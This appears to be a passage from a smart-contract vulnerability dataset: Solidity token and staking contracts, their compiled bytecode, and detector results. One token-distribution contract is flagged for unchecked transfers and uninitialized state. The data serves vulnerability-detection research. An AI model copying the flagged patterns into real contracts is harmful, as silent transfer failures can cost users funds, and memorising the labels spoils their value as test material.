function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
//end BasicToken.sol
// -----------------
//begin ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//end ERC20.sol
// -----------------
//begin StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
//end StandardToken.sol
// -----------------
//begin TokensSpreader.sol
contract TokensSpreader is Ownable {
StandardToken public token;
address public sender;
string public name = "TDR's Tokens Spreader";
constructor(address _tokenAddress, address _sender) public {
token = StandardToken(_tokenAddress);
sender = _sender;
}
function spread(address[] addresses, uint256[] amounts) public onlyOwner {
if (addresses.length != amounts.length) {
revert();
}
for (uint8 i = 0; i < addresses.length; i++) {
token.transferFrom(sender, addresses[i], amounts[i]);
}
}
function setSender(address _sender) public onlyOwner {
sender = _sender;
}
function setToken(address _tokenAddress) public onlyOwner {
token = StandardToken(_tokenAddress);
}
function resetWith(address _sender, address _tokenAddress) public onlyOwner {
sender = _sender;
token = StandardToken(_tokenAddress);
}
}
//end TokensSpreader.sol
|
0x608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461009e578063144fa6d71461012e5780632b071e471461017157806367e404ce1461021a5780638da5cb5b1461027157806394b8e58e146102c8578063ced32b0c1461032b578063f2fde38b1461036e578063fc0c546a146103b1575b600080fd5b3480156100aa57600080fd5b506100b3610408565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f35780820151818401526020810190506100d8565b50505050905090810190601f1680156101205780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013a57600080fd5b5061016f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104a6565b005b34801561017d57600080fd5b506102186004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610545565b005b34801561022657600080fd5b5061022f610760565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561027d57600080fd5b50610286610786565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102d457600080fd5b50610329600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107ab565b005b34801561033757600080fd5b5061036c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061088c565b005b34801561037a57600080fd5b506103af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061092b565b005b3480156103bd57600080fd5b506103c6610a80565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561049e5780601f106104735761010080835404028352916020019161049e565b820191906000526020600020905b81548152906001019060200180831161048157829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561050157600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105a257600080fd5b815183511415156105b257600080fd5b600090505b82518160ff16101561075b57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16858460ff1681518110151561063557fe5b90602001906020020151858560ff1681518110151561065057fe5b906020019060200201516040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561071257600080fd5b505af1158015610726573d6000803e3d6000fd5b505050506040513d602081101561073c57600080fd5b81019080805190602001909291905050505080806001019150506105b7565b505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561080657600080fd5b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e757600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561098657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156109c257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a723058206b452d5f7f252eb4c3d536b57764e91537b6fdae26c5001fc4e50665df1cb0f60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,397 |
0x33d49539973aDd013ba58586fF350DbF20b29292
|
// Created By BitDNS.vip
// contact : Reward Pool
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.8;
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract IMinableERC20 is IERC20 {
function mint(address account, uint amount) public;
}
contract RewardLockPool {
using SafeMath for uint256;
using Address for address;
using SafeERC20 for IERC20;
using SafeERC20 for IMinableERC20;
IERC20 public stakeToken;
IMinableERC20 public rewardToken;
bool public started;
uint256 public totalSupply;
uint256 public rewardFinishTime = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public lockTimeOf;
address private governance;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount, uint256 beforeT, uint256 afterT);
event Withdrawn(address indexed user, uint256 amount, uint256 beforeT, uint256 afterT);
event RewardPaid(address indexed user, uint256 reward, uint256 beforeT, uint256 afterT);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
modifier onlyOwner() {
require(msg.sender == governance, "!governance");
_;
}
constructor () public {
governance = msg.sender;
}
function start(address stake_token, address reward_token, uint256 reward, uint256 duration) public onlyOwner {
require(!started, "already started");
require(stake_token != address(0) && stake_token.isContract(), "stake token is non-contract");
require(reward_token != address(0) && reward_token.isContract(), "reward token is non-contract");
started = true;
stakeToken = IERC20(stake_token);
rewardToken = IMinableERC20(reward_token);
rewardRate = reward.mul(1e18).div(duration);
lastUpdateTime = block.timestamp;
rewardFinishTime = block.timestamp.add(duration);
}
function lastTimeRewardApplicable() internal view returns (uint256) {
return block.timestamp < rewardFinishTime ? block.timestamp : rewardFinishTime;
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply)
);
}
function earned(address account) public view returns (uint256) {
return
balanceOf[account]
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) {
require(started, "Not start yet");
require(amount > 0, "Cannot stake 0");
require(stakeToken.balanceOf(msg.sender) >= amount, "insufficient balance to stake");
uint256 beforeT = stakeToken.balanceOf(address(this));
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
totalSupply = totalSupply.add(amount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(amount);
uint256 afterT = stakeToken.balanceOf(address(this));
// Add Lock Time Begin:
lockTimeOf[msg.sender] = block.timestamp.add(14 days);
// Add Lock Time End!!!
emit Staked(msg.sender, amount, beforeT, afterT);
}
function withdraw(uint256 amount) public updateReward(msg.sender) {
require(started, "Not start yet");
require(amount > 0, "Cannot withdraw 0");
require(balanceOf[msg.sender] >= amount, "Insufficient balance to withdraw");
// Add Lock Time Begin:
require(canWithdraw(msg.sender), "Must be locked for 14 days or Mining ended");
// Add Lock Time End!!!
uint256 beforeT = stakeToken.balanceOf(address(this));
totalSupply = totalSupply.sub(amount);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amount);
stakeToken.safeTransfer(msg.sender, amount);
uint256 afterT = stakeToken.balanceOf(address(this));
emit Withdrawn(msg.sender, amount, beforeT, afterT);
}
function exit() external {
require(started, "Not start yet");
withdraw(balanceOf[msg.sender]);
getReward();
}
function getReward() public updateReward(msg.sender) {
require(started, "Not start yet");
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
uint256 beforeT = rewardToken.balanceOf(address(this));
rewardToken.mint(msg.sender, reward);
//rewardToken.safeTransfer(msg.sender, reward);
uint256 afterT = rewardToken.balanceOf(address(this));
emit RewardPaid(msg.sender, reward, beforeT, afterT);
}
}
// Add Lock Time Begin:
function canWithdraw(address account) public view returns (bool) {
return started && (balanceOf[account] > 0) &&
(block.timestamp >= lockTimeOf[account] || block.timestamp >= rewardFinishTime);
}
// Add Lock Time End!!!
}
|
0x608060405234801561001057600080fd5b506004361061012b5760003560e01c80636b419bf7116100ad578063c8f33c9111610071578063c8f33c91146104e8578063cd3daf9d14610506578063df136d6514610524578063e9fad8ee14610542578063f7c618c11461054c5761012b565b80636b419bf7146103ce57806370a08231146103ec5780637b0a47ee146104445780638b87634714610462578063a694fc3a146104ba5761012b565b80631f2698ab116100f45780631f2698ab146102d25780632a7d61b7146102f45780632e1a7d4d1461034c5780633d18b9121461037a57806351ed6a30146103845761012b565b80628cc262146101305780630700037d146101885780630f4c5fac146101e057806318160ddd1461025857806319262d3014610276575b600080fd5b6101726004803603602081101561014657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610596565b6040518082815260200191505060405180910390f35b6101ca6004803603602081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106b4565b6040518082815260200191505060405180910390f35b610256600480360360808110156101f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506106cc565b005b610260610a9a565b6040518082815260200191505060405180910390f35b6102b86004803603602081101561028c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa0565b604051808215151515815260200191505060405180910390f35b6102da610b5c565b604051808215151515815260200191505060405180910390f35b6103366004803603602081101561030a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b6f565b6040518082815260200191505060405180910390f35b6103786004803603602081101561036257600080fd5b8101908080359060200190929190505050610b87565b005b610382611190565b005b61038c611633565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103d6611658565b6040518082815260200191505060405180910390f35b61042e6004803603602081101561040257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061165e565b6040518082815260200191505060405180910390f35b61044c611676565b6040518082815260200191505060405180910390f35b6104a46004803603602081101561047857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061167c565b6040518082815260200191505060405180910390f35b6104e6600480360360208110156104d057600080fd5b8101908080359060200190929190505050611694565b005b6104f0611d33565b6040518082815260200191505060405180910390f35b61050e611d39565b6040518082815260200191505060405180910390f35b61052c611dc7565b6040518082815260200191505060405180910390f35b61054a611dcd565b005b610554611ea1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60006106ad600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461069f670de0b6b3a7640000610691610643600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610635611d39565b611ec790919063ffffffff16565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1190919063ffffffff16565b611f9790919063ffffffff16565b611fe190919063ffffffff16565b9050919050565b60086020528060005260406000206000915090505481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461078f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160149054906101000a900460ff1615610812576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f616c72656164792073746172746564000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561086a57506108698473ffffffffffffffffffffffffffffffffffffffff16612069565b5b6108dc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f7374616b6520746f6b656e206973206e6f6e2d636f6e7472616374000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561093457506109338373ffffffffffffffffffffffffffffffffffffffff16612069565b5b6109a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f72657761726420746f6b656e206973206e6f6e2d636f6e74726163740000000081525060200191505060405180910390fd5b60018060146101000a81548160ff021916908315150217905550836000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a6e81610a60670de0b6b3a764000085611f1190919063ffffffff16565b611f9790919063ffffffff16565b60048190555042600581905550610a8e8142611fe190919063ffffffff16565b60038190555050505050565b60025481565b6000600160149054906101000a900460ff168015610afd57506000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610b555750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442101580610b5457506003544210155b5b9050919050565b600160149054906101000a900460ff1681565b600a6020528060005260406000206000915090505481565b33610b90611d39565b600681905550610b9e61207c565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610c6b57610be181610596565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600160149054906101000a900460ff16610ced576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74207374617274207965740000000000000000000000000000000000000081525060200191505060405180910390fd5b60008211610d63576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b81600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f496e73756666696369656e742062616c616e636520746f20776974686472617781525060200191505060405180910390fd5b610e2133610aa0565b610e76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061263f602a913960400191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610f1657600080fd5b505afa158015610f2a573d6000803e3d6000fd5b505050506040513d6020811015610f4057600080fd5b81019080805190602001909291905050509050610f6883600254611ec790919063ffffffff16565b600281905550610fc083600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec790919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061104f33846000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166120969092919063ffffffff16565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156110ef57600080fd5b505afa158015611103573d6000803e3d6000fd5b505050506040513d602081101561111957600080fd5b810190808051906020019092919050505090503373ffffffffffffffffffffffffffffffffffffffff167f75e161b3e824b114fc1a33274bd7091918dd4e639cede50b78b15a4eea956a2185848460405180848152602001838152602001828152602001935050505060405180910390a250505050565b33611199611d39565b6006819055506111a761207c565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611274576111ea81610596565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600160149054906101000a900460ff166112f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74207374617274207965740000000000000000000000000000000000000081525060200191505060405180910390fd5b600061130133610596565b9050600081111561162f576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffff